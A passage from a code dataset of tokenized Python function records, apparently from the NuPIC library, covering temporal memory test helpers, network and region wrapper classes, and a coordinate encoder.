newSynapseCount,<EOL>permanenceInc = permanenceInc, permanenceDec = permanenceDec,<EOL>activationThreshold = activationThreshold,<EOL>globalDecay = globalDecay, burnIn = <NUM_LIT:1>,<EOL>seed=SEED, verbosity=VERBOSITY,<EOL>checkSynapseConsistency = checkSynapseConsistency,<EOL>collectStats = True,<EOL>pamLength = pamLength,<EOL>maxInfBacktrack = maxInfBacktrack,<EOL>maxLrnBacktrack = maxLrnBacktrack,<EOL>)<EOL>cpp_tm.retrieveLearningStates = True<EOL>tms['<STR_LIT>'] = cpp_tm<EOL><DEDENT>if includePy:<EOL><INDENT>if VERBOSITY >= <NUM_LIT:2>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>py_tm = BacktrackingTM(numberOfCols = numCols,<EOL>cellsPerColumn = cellsPerCol,<EOL>initialPerm = initialPerm,<EOL>connectedPerm = connectedPerm,<EOL>minThreshold = minThreshold,<EOL>newSynapseCount = newSynapseCount,<EOL>permanenceInc = permanenceInc,<EOL>permanenceDec = permanenceDec,<EOL>activationThreshold = activationThreshold,<EOL>globalDecay = globalDecay, burnIn = <NUM_LIT:1>,<EOL>seed=SEED, verbosity=VERBOSITY,<EOL>collectStats = True,<EOL>pamLength = pamLength,<EOL>maxInfBacktrack = maxInfBacktrack,<EOL>maxLrnBacktrack = maxLrnBacktrack,<EOL>)<EOL>tms['<STR_LIT>'] = py_tm<EOL><DEDENT>return tms<EOL>", "docstring": "Create one or more TM instances, placing each into a dict keyed by\n    name.\n\n    Parameters:\n    ------------------------------------------------------------------\n    retval:   tms - dict of TM instances", "id": "f17532:m5"}
{"signature": "def assertNoTMDiffs(tms):", "body": "if len(tms) == <NUM_LIT:1>:<EOL><INDENT>return<EOL><DEDENT>if len(tms) > <NUM_LIT:2>:<EOL><INDENT>raise \"<STR_LIT>\"<EOL><DEDENT>same = fdrutils.tmDiff2(list(tms.values()), verbosity=VERBOSITY)<EOL>assert(same)<EOL>return<EOL>", "docstring": "Check for diffs among the TM instances in the passed in tms dict and\nraise an assert if any are detected\n\nParameters:\n---------------------------------------------------------------------\ntms:                  dict of TM instances", "id": "f17532:m6"}
{"signature": "def _printOneTrainingVector(self, x):", "body": "print('<STR_LIT>'.join('<STR_LIT:1>' if k != <NUM_LIT:0> else '<STR_LIT:.>' for k in x))<EOL>", "docstring": "Print a single vector succinctly.", "id": "f17534:c0:m1"}
{"signature": "def _printAllTrainingSequences(self, trainingSequences):", "body": "for i, trainingSequence in enumerate(trainingSequences):<EOL><INDENT>print(\"<STR_LIT>\", i, \"<STR_LIT>\")<EOL>for pattern in trainingSequence:<EOL><INDENT>self._printOneTrainingVector(pattern)<EOL><DEDENT><DEDENT>", "docstring": "Print all vectors", "id": "f17534:c0:m2"}
{"signature": "def _setVerbosity(self, verbosity, tm, tmPy):", "body": "tm.cells4.setVerbosity(verbosity)<EOL>tm.verbosity = verbosity<EOL>tmPy.verbosity = verbosity<EOL>", "docstring": "Set verbosity level on the TM", "id": "f17534:c0:m3"}
{"signature": "def _createTMs(self, numCols, fixedResources=False,<EOL>checkSynapseConsistency = True):", "body": "<EOL>minThreshold = <NUM_LIT:4><EOL>activationThreshold = <NUM_LIT:8><EOL>newSynapseCount = <NUM_LIT:15><EOL>initialPerm = <NUM_LIT><EOL>connectedPerm = <NUM_LIT:0.5><EOL>permanenceInc = <NUM_LIT:0.1><EOL>permanenceDec = <NUM_LIT><EOL>if fixedResources:<EOL><INDENT>permanenceDec = <NUM_LIT:0.1><EOL>maxSegmentsPerCell = <NUM_LIT:5><EOL>maxSynapsesPerSegment = <NUM_LIT:15><EOL>globalDecay = <NUM_LIT:0><EOL>maxAge = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>permanenceDec = <NUM_LIT><EOL>maxSegmentsPerCell = -<NUM_LIT:1><EOL>maxSynapsesPerSegment = -<NUM_LIT:1><EOL>globalDecay = <NUM_LIT><EOL>maxAge = <NUM_LIT:1><EOL><DEDENT>if g_testCPPTM:<EOL><INDENT>if g_options.verbosity > <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>cppTM = BacktrackingTMCPP(numberOfCols = numCols, cellsPerColumn = <NUM_LIT:4>,<EOL>initialPerm = initialPerm, connectedPerm = connectedPerm,<EOL>minThreshold = minThreshold,<EOL>newSynapseCount = newSynapseCount,<EOL>permanenceInc = permanenceInc,<EOL>permanenceDec = permanenceDec,<EOL>activationThreshold = activationThreshold,<EOL>globalDecay = globalDecay, maxAge=maxAge, burnIn = <NUM_LIT:1>,<EOL>seed=g_options.seed, verbosity=g_options.verbosity,<EOL>checkSynapseConsistency = checkSynapseConsistency,<EOL>pamLength = <NUM_LIT:1000>,<EOL>maxSegmentsPerCell = maxSegmentsPerCell,<EOL>maxSynapsesPerSegment = maxSynapsesPerSegment,<EOL>)<EOL>cppTM.retrieveLearningStates = True<EOL><DEDENT>else:<EOL><INDENT>cppTM = None<EOL><DEDENT>if g_options.verbosity > <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>pyTM = BacktrackingTM(numberOfCols = numCols,<EOL>cellsPerColumn = <NUM_LIT:4>,<EOL>initialPerm = initialPerm,<EOL>connectedPerm = connectedPerm,<EOL>minThreshold = minThreshold,<EOL>newSynapseCount = newSynapseCount,<EOL>permanenceInc = permanenceInc,<EOL>permanenceDec = permanenceDec,<EOL>activationThreshold = activationThreshold,<EOL>globalDecay = globalDecay, maxAge=maxAge, burnIn = <NUM_LIT:1>,<EOL>seed=g_options.seed, verbosity=g_options.verbosity,<EOL>pamLength = <NUM_LIT:1000>,<EOL>maxSegmentsPerCell = maxSegmentsPerCell,<EOL>maxSynapsesPerSegment = maxSynapsesPerSegment,<EOL>)<EOL>return cppTM, pyTM<EOL>", "docstring": "Create an instance of the appropriate temporal memory. We isolate\n        all parameters as constants specified here.", "id": "f17534:c0:m4"}
{"signature": "def _getSimplePatterns(self, numOnes, numPatterns):", "body": "numCols = numOnes * numPatterns<EOL>p = []<EOL>for i in range(numPatterns):<EOL><INDENT>x = numpy.zeros(numCols, dtype='<STR_LIT>')<EOL>x[i*numOnes:(i+<NUM_LIT:1>)*numOnes] = <NUM_LIT:1><EOL>p.append(x)<EOL><DEDENT>return p<EOL>", "docstring": "Very simple patterns. Each pattern has numOnes consecutive\n        bits on. There are numPatterns*numOnes bits in the vector. These patterns\n        are used as elements of sequences when building up a training set.", "id": "f17534:c0:m5"}
{"signature": "def _buildSegmentLearningTrainingSet(self, numOnes=<NUM_LIT:10>, numRepetitions= <NUM_LIT:10>):", "body": "numPatterns = <NUM_LIT:5><EOL>numCols = <NUM_LIT:2> * numPatterns * numOnes<EOL>halfCols = numPatterns * numOnes<EOL>numNoiseBits = numOnes<EOL>p = self._getSimplePatterns(numOnes, numPatterns)<EOL>trainingSequences = []<EOL>for _ in range(numRepetitions):<EOL><INDENT>sequence = []<EOL>for j in range(numPatterns):<EOL><INDENT>v = numpy.zeros(numCols)<EOL>v[<NUM_LIT:0>:halfCols] = p[j]<EOL>noiseIndices = (self._rgen.permutation(halfCols)<EOL>+ halfCols)[<NUM_LIT:0>:numNoiseBits]<EOL>v[noiseIndices] = <NUM_LIT:1><EOL>sequence.append(v)<EOL><DEDENT>trainingSequences.append(sequence)<EOL><DEDENT>testSequence = []<EOL>for j in range(numPatterns):<EOL><INDENT>v = numpy.zeros(numCols, dtype='<STR_LIT>')<EOL>v[<NUM_LIT:0>:halfCols] = p[j]<EOL>testSequence.append(v)<EOL><DEDENT>if g_options.verbosity > <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>self._printAllTrainingSequences(trainingSequences)<EOL>print(\"<STR_LIT>\")<EOL>self._printAllTrainingSequences([testSequence])<EOL><DEDENT>return (trainingSequences, [testSequence])<EOL>", "docstring": "A simple sequence of 5 patterns. The left half of the vector contains\n        the pattern elements, each with numOnes consecutive bits. The right half\n        contains numOnes random bits. The function returns a pair:\n\n        trainingSequences:    A list containing numRepetitions instances of the\n                              above sequence\n        testSequence:         A single clean test sequence containing the 5 patterns\n                              but with no noise on the right half", "id": "f17534:c0:m6"}
{"signature": "def _buildSL2TrainingSet(self, numOnes=<NUM_LIT:10>, numRepetitions= <NUM_LIT:10>):", "body": "numPatterns = <NUM_LIT:5><EOL>numCols = <NUM_LIT:2> * numPatterns * numOnes<EOL>halfCols = numPatterns * numOnes<EOL>numNoiseBits = numOnes<EOL>p = self._getSimplePatterns(numOnes, numPatterns)<EOL>numSequences = <NUM_LIT:3><EOL>indices = [<EOL>[<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:3>, <NUM_LIT:4>],<EOL>[<NUM_LIT:4>, <NUM_LIT:3>, <NUM_LIT:2>, <NUM_LIT:1>, <NUM_LIT:0>],<EOL>[<NUM_LIT:2>, <NUM_LIT:0>, <NUM_LIT:4>, <NUM_LIT:1>, <NUM_LIT:3>],<EOL>]<EOL>trainingSequences = []<EOL>for i in range(numRepetitions*numSequences):<EOL><INDENT>sequence = []<EOL>for j in range(numPatterns):<EOL><INDENT>v = numpy.zeros(numCols, dtype='<STR_LIT>')<EOL>v[<NUM_LIT:0>:halfCols] = p[indices[i % numSequences][j]]<EOL>noiseIndices = (self._rgen.permutation(halfCols)<EOL>+ halfCols)[<NUM_LIT:0>:numNoiseBits]<EOL>v[noiseIndices] = <NUM_LIT:1><EOL>sequence.append(v)<EOL><DEDENT>trainingSequences.append(sequence)<EOL><DEDENT>testSequences = []<EOL>for i in range(numSequences):<EOL><INDENT>sequence = []<EOL>for j in range(numPatterns):<EOL><INDENT>v = numpy.zeros(numCols, dtype='<STR_LIT>')<EOL>v[<NUM_LIT:0>:halfCols] = p[indices[i % numSequences][j]]<EOL>sequence.append(v)<EOL><DEDENT>testSequences.append(sequence)<EOL><DEDENT>if g_options.verbosity > <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>self._printAllTrainingSequences(trainingSequences)<EOL>print(\"<STR_LIT>\")<EOL>self._printAllTrainingSequences(testSequences)<EOL><DEDENT>return (trainingSequences, testSequences)<EOL>", "docstring": "Three simple sequences, composed of the same 5 static patterns. The left\n        half of the vector contains the pattern elements, each with numOnes\n        consecutive bits. The right half contains numOnes random bits.\n\n        Sequence 1 is: p0, p1, p2, p3, p4\n        Sequence 2 is: p4, p3, p2, p1, p0\n        Sequence 3 is: p2, p0, p4, p1, p3\n\n        The function returns a pair:\n\n        trainingSequences:    A list containing numRepetitions instances of the\n                              above sequences\n        testSequence:         Clean test sequences with no noise on the right half", "id": "f17534:c0:m7"}
{"signature": "def accuracy(current, predicted):", "body": "accuracy = <NUM_LIT:0><EOL>if np.count_nonzero(predicted) > <NUM_LIT:0>:<EOL><INDENT>accuracy = float(np.dot(current, predicted))/float(np.count_nonzero(predicted))<EOL><DEDENT>return accuracy<EOL>", "docstring": "Computes the accuracy of the TM at time-step t based on the prediction\nat time-step t-1 and the current active columns at time-step t.\n\n@param current (array) binary vector containing current active columns\n@param predicted (array) binary vector containing predicted active columns\n\n@return acc (float) prediction accuracy of the TM at time-step t", "id": "f17535:m0"}
{"signature": "def corruptVector(v1, noiseLevel, numActiveCols):", "body": "size = len(v1)<EOL>v2 = np.zeros(size, dtype=\"<STR_LIT>\")<EOL>bitsToSwap = int(noiseLevel * numActiveCols)<EOL>for i in range(size):<EOL><INDENT>v2[i] = v1[i]<EOL><DEDENT>for _ in range(bitsToSwap):<EOL><INDENT>i = random.randrange(size)<EOL>if v2[i] == <NUM_LIT:1>:<EOL><INDENT>v2[i] = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>v2[i] = <NUM_LIT:1><EOL><DEDENT><DEDENT>return v2<EOL>", "docstring": "Corrupts a copy of a binary vector by inverting noiseLevel percent of its bits.\n\n@param v1      (array) binary vector whose copy will be corrupted\n@param noiseLevel  (float) amount of noise to be applied on the new vector\n@param numActiveCols (int)   number of sparse columns that represent an input\n\n@return v2 (array) corrupted binary vector", "id": "f17535:m1"}
{"signature": "def showPredictions():", "body": "for k in range(<NUM_LIT:6>):<EOL><INDENT>tm.reset()<EOL>print(\"<STR_LIT>\" + \"<STR_LIT>\"[k] + \"<STR_LIT>\")<EOL>tm.compute(set(seqT[k][:].nonzero()[<NUM_LIT:0>].tolist()), learn=False)<EOL>activeColumnsIndices = [tm.columnForCell(i) for i in tm.getActiveCells()]<EOL>predictedColumnIndices = [tm.columnForCell(i) for i in tm.getPredictiveCells()]  <EOL>currentColumns = [<NUM_LIT:1> if i in activeColumnsIndices else <NUM_LIT:0> for i in range(tm.numberOfColumns())]<EOL>predictedColumns = [<NUM_LIT:1> if i in predictedColumnIndices else <NUM_LIT:0> for i in range(tm.numberOfColumns())]<EOL>print((\"<STR_LIT>\" + str(np.nonzero(currentColumns)[<NUM_LIT:0>])))<EOL>print((\"<STR_LIT>\" + str(np.nonzero(predictedColumns)[<NUM_LIT:0>])))<EOL>print(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Shows predictions of the TM when presented with the characters A, B, C, D, X, and\nY without any contextual information, that is, not embedded within a sequence.", "id": "f17535:m2"}
{"signature": "def trainTM(sequence, timeSteps, noiseLevel):", "body": "currentColumns = np.zeros(tm.numberOfColumns(), dtype=\"<STR_LIT>\")<EOL>predictedColumns = np.zeros(tm.numberOfColumns(), dtype=\"<STR_LIT>\")<EOL>ts = <NUM_LIT:0>  <EOL>for t in range(timeSteps):<EOL><INDENT>tm.reset()<EOL>for k in range(<NUM_LIT:4>):<EOL><INDENT>v = corruptVector(sequence[k][:], noiseLevel, sparseCols)<EOL>tm.compute(set(v[:].nonzero()[<NUM_LIT:0>].tolist()), learn=True)<EOL>activeColumnsIndices = [tm.columnForCell(i) for i in tm.getActiveCells()]<EOL>predictedColumnIndices = [tm.columnForCell(i) for i in tm.getPredictiveCells()]<EOL>currentColumns = [<NUM_LIT:1> if i in activeColumnsIndices else <NUM_LIT:0> for i in range(tm.numberOfColumns())]<EOL>acc = accuracy(currentColumns, predictedColumns)<EOL>x.append(ts)<EOL>y.append(acc)<EOL>ts += <NUM_LIT:1><EOL>predictedColumns = [<NUM_LIT:1> if i in predictedColumnIndices else <NUM_LIT:0> for i in range(tm.numberOfColumns())]<EOL><DEDENT><DEDENT>", "docstring": "Trains the TM with given sequence for a given number of time steps and level of input\ncorruption\n\n@param sequence   (array) array whose rows are the input characters\n@param timeSteps  (int)   number of time steps in which the TM will be presented with sequence\n@param noiseLevel (float) amount of noise to be applied on the characters in the sequence", "id": "f17535:m3"}
{"signature": "def Array(dtype, size=None, ref=False):", "body": "def getArrayType(self):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return self._dtype<EOL><DEDENT>if ref:<EOL><INDENT>assert size is None<EOL><DEDENT>index = basicTypes.index(dtype)<EOL>if index == -<NUM_LIT:1>:<EOL><INDENT>raise Exception('<STR_LIT>' + dtype)<EOL><DEDENT>if size and size <= <NUM_LIT:0>:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>suffix = '<STR_LIT>' if ref else '<STR_LIT>'<EOL>arrayFactory = getattr(engine_internal, dtype + suffix)<EOL>arrayFactory.getType = getArrayType<EOL>if size:<EOL><INDENT>a = arrayFactory(size)<EOL><DEDENT>else:<EOL><INDENT>a = arrayFactory()<EOL><DEDENT>a._dtype = basicTypes[index]<EOL>return a<EOL>", "docstring": "Factory function that creates typed Array or ArrayRef objects\n\n    dtype - the data type of the array (as string).\n      Supported types are: Byte, Int16, UInt16, Int32, UInt32, Int64, UInt64, Real32, Real64\n\n    size - the size of the array. Must be positive integer.", "id": "f17536:m1"}
{"signature": "def __init__(self, *args):", "body": "<EOL>engine_internal.Dimensions.__init__(self, *args)<EOL>", "docstring": "Construct a Dimensions object\n\n        The constructor can be called with no arguments or with a list\n        of integers", "id": "f17536:c0:m0"}
{"signature": "def __init__(self, region, network):", "body": "self._network = network<EOL>self._region = region<EOL>self.__class__.__doc__ == region.__class__.__doc__<EOL>self._paramTypeCache = {}<EOL>", "docstring": "Store the wraped region and hosting network\n\n        The network is the high-level Network and not the internal\n        Network. This is important in case the user requests the network\n        from the region (never leak a engine object, remember)", "id": "f17536:c5:m0"}
{"signature": "@staticmethod<EOL><INDENT>def getSpecFromType(nodeType):<DEDENT>", "body": "return Spec(engine_internal.Region.getSpecFromType(nodeType))<EOL>", "docstring": "@doc:place_holder(Region.getSpecFromType)", "id": "f17536:c5:m3"}
{"signature": "def compute(self):", "body": "return self._region.compute()<EOL>", "docstring": "@doc:place_holder(Region.compute)\n\n** This line comes from the original docstring (not generated by Documentor)", "id": "f17536:c5:m4"}
{"signature": "def getInputData(self, inputName):", "body": "return self._region.getInputArray(inputName)<EOL>", "docstring": "@doc:place_holder(Region.getInputData)", "id": "f17536:c5:m5"}
{"signature": "def getOutputData(self, outputName):", "body": "return self._region.getOutputArray(outputName)<EOL>", "docstring": "@doc:place_holder(Region.getOutputData)", "id": "f17536:c5:m6"}
{"signature": "def getInputNames(self):", "body": "inputs = self.getSpec().inputs<EOL>return [inputs.getByIndex(i)[<NUM_LIT:0>] for i in range(inputs.getCount())]<EOL>", "docstring": "Returns list of input names in spec.", "id": "f17536:c5:m7"}
{"signature": "def getOutputNames(self):", "body": "outputs = self.getSpec().outputs<EOL>return [outputs.getByIndex(i)[<NUM_LIT:0>] for i in range(outputs.getCount())]<EOL>", "docstring": "Returns list of output names in spec.", "id": "f17536:c5:m8"}
{"signature": "def executeCommand(self, args):", "body": "return self._region.executeCommand(args)<EOL>", "docstring": "@doc:place_holder(Region.executeCommand)", "id": "f17536:c5:m9"}
{"signature": "def _getSpec(self):", "body": "return Spec(self._region.getSpec())<EOL>", "docstring": "Spec of the region", "id": "f17536:c5:m10"}
{"signature": "def _getDimensions(self):", "body": "return Dimensions(tuple(self._region.getDimensions()))<EOL>", "docstring": "Dimensions of the region", "id": "f17536:c5:m11"}
{"signature": "def _getNetwork(self):", "body": "return self._network<EOL>", "docstring": "Network for the region", "id": "f17536:c5:m12"}
{"signature": "def __hash__(self):", "body": "return self._region.__hash__()<EOL>", "docstring": "Hash a region", "id": "f17536:c5:m13"}
{"signature": "def __eq__(self, other):", "body": "return self._region == other._region<EOL>", "docstring": "Compare regions", "id": "f17536:c5:m14"}
{"signature": "def __ne__(self, other):", "body": "return self._region != other._region<EOL>", "docstring": "Compare regions", "id": "f17536:c5:m15"}
{"signature": "def _getParameterMethods(self, paramName):", "body": "if paramName in self._paramTypeCache:<EOL><INDENT>return self._paramTypeCache[paramName]<EOL><DEDENT>try:<EOL><INDENT>paramSpec = self.getSpec().parameters.getByName(paramName)<EOL><DEDENT>except:<EOL><INDENT>return (None, None)<EOL><DEDENT>dataType = paramSpec.dataType<EOL>dataTypeName = basicTypes[dataType]<EOL>count = paramSpec.count<EOL>if count == <NUM_LIT:1>:<EOL><INDENT>x = '<STR_LIT>' + dataTypeName<EOL>try:<EOL><INDENT>g = getattr(self, '<STR_LIT:g>' + x) <EOL>s = getattr(self, '<STR_LIT:s>' + x) <EOL><DEDENT>except AttributeError:<EOL><INDENT>raise Exception(\"<STR_LIT>\" %<EOL>dataTypeName)<EOL><DEDENT>info = (s, g)<EOL><DEDENT>else:<EOL><INDENT>if dataTypeName == \"<STR_LIT>\":<EOL><INDENT>info = (self.setParameterString, self.getParameterString)<EOL><DEDENT>else:<EOL><INDENT>helper = _ArrayParameterHelper(self, dataType)<EOL>info = (self.setParameterArray, helper.getParameterArray)<EOL><DEDENT><DEDENT>self._paramTypeCache[paramName] = info<EOL>return info<EOL>", "docstring": "Returns functions to set/get the parameter. These are\n        the strongly typed functions get/setParameterUInt32, etc.\n        The return value is a pair:\n            setfunc, getfunc\n        If the parameter is not available on this region, setfunc/getfunc\n        are None.", "id": "f17536:c5:m16"}
{"signature": "def getParameter(self, paramName):", "body": "(setter, getter) = self._getParameterMethods(paramName)<EOL>if getter is None:<EOL><INDENT>import exceptions<EOL>raise exceptions.Exception(<EOL>\"<STR_LIT>\"<EOL>% (paramName, self.name, self.type))<EOL><DEDENT>return getter(paramName)<EOL>", "docstring": "Get parameter value", "id": "f17536:c5:m17"}
{"signature": "def setParameter(self, paramName, value):", "body": "(setter, getter) = self._getParameterMethods(paramName)<EOL>if setter is None:<EOL><INDENT>import exceptions<EOL>raise exceptions.Exception(<EOL>\"<STR_LIT>\"<EOL>% (paramName, self.name, self.type))<EOL><DEDENT>setter(paramName, value)<EOL>", "docstring": "Set parameter value", "id": "f17536:c5:m18"}
{"signature": "def _get(self, method):", "body": "return getattr(self._region, method)()<EOL>", "docstring": "Auto forwarding of properties to get methods of internal region", "id": "f17536:c5:m19"}
{"signature": "def __init__(self, *args):", "body": "<EOL>engine_internal.Network.__init__(self, *args)<EOL>docTable = (<EOL>(engine_internal.Network.getRegions, '<STR_LIT>'),<EOL>)<EOL>for obj, docString in docTable:<EOL><INDENT>if isinstance(obj, str):<EOL><INDENT>prop = getattr(Network, obj)<EOL>assert isinstance(prop, property)<EOL>setattr(Network, obj, property(prop.fget, prop.fset, prop.fdel,<EOL>docString))<EOL><DEDENT>else:<EOL><INDENT>obj.__func__.__doc__ = docString<EOL><DEDENT><DEDENT>", "docstring": "Constructor\n\n        - Initialize the internal engine_internal.Network class generated by Swig\n        - Attach docstrings to selected methods", "id": "f17536:c6:m0"}
{"signature": "def _getRegions(self):", "body": "def makeRegion(name, r):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>r = Region(r, self)<EOL>return r<EOL><DEDENT>regions = CollectionWrapper(engine_internal.Network.getRegions(self), makeRegion)<EOL>return regions<EOL>", "docstring": "Get the collection of regions in a network\n\n        This is a tricky one. The collection of regions returned from\n        from the internal network is a collection of internal regions.\n        The desired collection is a collelcion of net.Region objects\n        that also points to this network (net.network) and not to\n        the internal network. To achieve that a CollectionWrapper\n        class is used with a custom makeRegion() function (see bellow)\n        as a value wrapper. The CollectionWrapper class wraps each value in the\n        original collection with the result of the valueWrapper.", "id": "f17536:c6:m1"}
{"signature": "def addRegion(self, name, nodeType, nodeParams):", "body": "engine_internal.Network.addRegion(self, name, nodeType, nodeParams)<EOL>return self._getRegions()[name]<EOL>", "docstring": "@doc:place_holder(Network.addRegion)", "id": "f17536:c6:m2"}
{"signature": "def addRegionFromBundle(self, name, nodeType, dimensions, bundlePath, label):", "body": "engine_internal.Network.addRegionFromBundle(self, name, nodeType, dimensions,<EOL>bundlePath, label)<EOL>return self._getRegions()[name]<EOL>", "docstring": "@doc:place_holder(Network.addRegionFromBundle)", "id": "f17536:c6:m3"}
{"signature": "def setPhases(self, name, phases):", "body": "phases = engine_internal.UInt32Set(phases)<EOL>engine_internal.Network.setPhases(self, name, phases)<EOL>", "docstring": "@doc:place_holder(Network.setPhases)", "id": "f17536:c6:m4"}
{"signature": "def run(self, n):", "body": "<EOL>engine_internal.Network.run(self, n)<EOL>", "docstring": "@doc:place_holder(Network.run)", "id": "f17536:c6:m5"}
{"signature": "def disableProfiling(self, *args, **kwargs):", "body": "engine_internal.Network.disableProfiling(self, *args, **kwargs)<EOL>", "docstring": "@doc:place_holder(Network.disableProfiling)", "id": "f17536:c6:m6"}
{"signature": "def enableProfiling(self, *args, **kwargs):", "body": "engine_internal.Network.enableProfiling(self, *args, **kwargs)<EOL>", "docstring": "@doc:place_holder(Network.enableProfiling)", "id": "f17536:c6:m7"}
{"signature": "def getCallbacks(self, *args, **kwargs):", "body": "engine_internal.Network.getCallbacks(self, *args, **kwargs)<EOL>", "docstring": "@doc:place_holder(Network.getCallbacks)", "id": "f17536:c6:m8"}
{"signature": "def initialize(self, *args, **kwargs):", "body": "engine_internal.Network.initialize(self, *args, **kwargs)<EOL>", "docstring": "@doc:place_holder(Network.initialize)", "id": "f17536:c6:m9"}
{"signature": "def link(self, *args, **kwargs):", "body": "engine_internal.Network.link(self, *args, **kwargs)<EOL>", "docstring": "@doc:place_holder(Network.link)", "id": "f17536:c6:m10"}
{"signature": "def removeLink(self, *args, **kwargs):", "body": "engine_internal.Network.removeLink(self, *args, **kwargs)<EOL>", "docstring": "@doc:place_holder(Network.removeLink)", "id": "f17536:c6:m11"}
{"signature": "def removeRegion(self, *args, **kwargs):", "body": "engine_internal.Network.removeRegion(self, *args, **kwargs)<EOL>", "docstring": "@doc:place_holder(Network.removeRegion)", "id": "f17536:c6:m12"}
{"signature": "def resetProfiling(self, *args, **kwargs):", "body": "engine_internal.Network.resetProfiling(self, *args, **kwargs)<EOL>", "docstring": "@doc:place_holder(Network.resetProfiling)", "id": "f17536:c6:m13"}
{"signature": "def save(self, *args, **kwargs):", "body": "if len(args) > <NUM_LIT:0> and not isinstance(args[<NUM_LIT:0>], str):<EOL><INDENT>raise TypeError(\"<STR_LIT>\".format(str))<EOL><DEDENT>engine_internal.Network.save(self, *args, **kwargs)<EOL>", "docstring": "@doc:place_holder(Network.save)", "id": "f17536:c6:m14"}
{"signature": "def getRegionsByType(self, regionClass):", "body": "regions = []<EOL>for region in list(self.regions.values()):<EOL><INDENT>if type(region.getSelf()) is regionClass:<EOL><INDENT>regions.append(region)<EOL><DEDENT><DEDENT>return regions<EOL>", "docstring": "Gets all region instances of a given class\n(for example, nupic.regions.sp_region.SPRegion).", "id": "f17536:c6:m15"}
{"signature": "@staticmethod<EOL><INDENT>def registerRegion(regionClass):<DEDENT>", "body": "engine_internal.Network.registerPyRegion(regionClass.__module__,<EOL>regionClass.__name__)<EOL>", "docstring": "Adds the module and class name for the region to the list of classes the network can use\nregionClass: a pointer to a subclass of PyRegion", "id": "f17536:c6:m16"}
{"signature": "@staticmethod<EOL><INDENT>def unregisterRegion(regionName):<DEDENT>", "body": "engine_internal.Network.unregisterPyRegion(regionName)<EOL>", "docstring": "Unregisters a region from the internal list of regions\n\n:param str regionName: The name of the region to unregister\n    (ex: regionName=regionClass.__name__)", "id": "f17536:c6:m17"}
{"signature": "def getWidth(self):", "body": "return self.n<EOL>", "docstring": "See `nupic.encoders.base.Encoder` for more information.", "id": "f17537:c0:m1"}
{"signature": "def getDescription(self):", "body": "return [('<STR_LIT>', <NUM_LIT:0>), ('<STR_LIT>', <NUM_LIT:1>)]<EOL>", "docstring": "See `nupic.encoders.base.Encoder` for more information.", "id": "f17537:c0:m2"}
{"signature": "def getScalars(self, inputData):", "body": "return numpy.array([<NUM_LIT:0>]*len(inputData))<EOL>", "docstring": "See `nupic.encoders.base.Encoder` for more information.", "id": "f17537:c0:m3"}
{"signature": "def encodeIntoArray(self, inputData, output):", "body": "(coordinate, radius) = inputData<EOL>assert isinstance(radius, int), (\"<STR_LIT>\"<EOL>.format(radius, type(radius)))<EOL>neighbors = self._neighbors(coordinate, radius)<EOL>winners = self._topWCoordinates(neighbors, self.w)<EOL>bitFn = lambda coordinate: self._bitForCoordinate(coordinate, self.n)<EOL>indices = numpy.array([bitFn(w) for w in winners])<EOL>output[:] = <NUM_LIT:0><EOL>output[indices] = <NUM_LIT:1><EOL>", "docstring": "See `nupic.encoders.base.Encoder` for more information.\n\n@param inputData (tuple) Contains coordinate (numpy.array, N-dimensional\n                         integer coordinate) and radius (int)\n@param output (numpy.array) Stores encoded SDR in this numpy array", "id": "f17537:c0:m4"}
{"signature": "@staticmethod<EOL><INDENT>def _neighbors(coordinate, radius):<DEDENT>", "body": "ranges = (xrange(n-radius, n+radius+<NUM_LIT:1>) for n in coordinate.tolist())<EOL>return numpy.array(list(itertools.product(*ranges)))<EOL>", "docstring": "Returns coordinates around given coordinate, within given radius.\nIncludes given coordinate.\n\n@param coordinate (numpy.array) N-dimensional integer coordinate\n@param radius (int) Radius around `coordinate`\n\n@return (numpy.array) List of coordinates", "id": "f17537:c0:m5"}
{"signature": "@classmethod<EOL><INDENT>def _topWCoordinates(cls, coordinates, w):<DEDENT>", "body": "orders = numpy.array([cls._orderForCoordinate(c)<EOL>for c in coordinates.tolist()])<EOL>indices = numpy.argsort(orders)[-w:]<EOL>return coordinates[indices]<EOL>", "docstring": "Returns the top W coordinates by order.\n\n@param coordinates (numpy.array) A 2D numpy array, where each element\n                                 is a coordinate\n@param w (int) Number of top coordinates to return\n@return (numpy.array) A subset of `coordinates`, containing only the\n                      top ones by order", "id": "f17537:c0:m6"}
{"signature": "@staticmethod<EOL><INDENT>def _hashCoordinate(coordinate):<DEDENT>", "body": "coordinateStr = \"<STR_LIT:U+002C>\".join(str(v) for v in coordinate)<EOL>hash = int(int(hashlib.md5(coordinateStr).hexdigest(), <NUM_LIT:16>) % (<NUM_LIT:2> ** <NUM_LIT:64>))<EOL>return hash<EOL>", "docstring": "Hash a coordinate to a 64 bit integer.", "id": "f17537:c0:m7"}
{"signature": "@classmethod<EOL><INDENT>def _orderForCoordinate(cls, coordinate):<DEDENT>", "body": "seed = cls._hashCoordinate(coordinate)<EOL>rng = Random(seed)<EOL>return rng.getReal64()<EOL>", "docstring": "Returns the order for a coordinate.\n\n@param coordinate (numpy.array) Coordinate\n@return (float) A value in the interval [0, 1), representing the\n                order of the coordinate", "id": "f17537:c0:m8"}
{"signature": "@classmethod<EOL><INDENT>def _bitForCoordinate(cls, coordinate, n):<DEDENT>", "body": "seed = cls._hashCoordinate(coordinate)<EOL>rng = Random(seed)<EOL>return rng.getUInt32(n)<EOL>", "docstring": "Maps the coordinate to a bit in the SDR.\n\n@param coordinate (numpy.array) Coordinate\n@param n (int) The number of available bits in the SDR\n@return (int) The index to a bit in the SDR", "id": "f17537:c0:m9"}
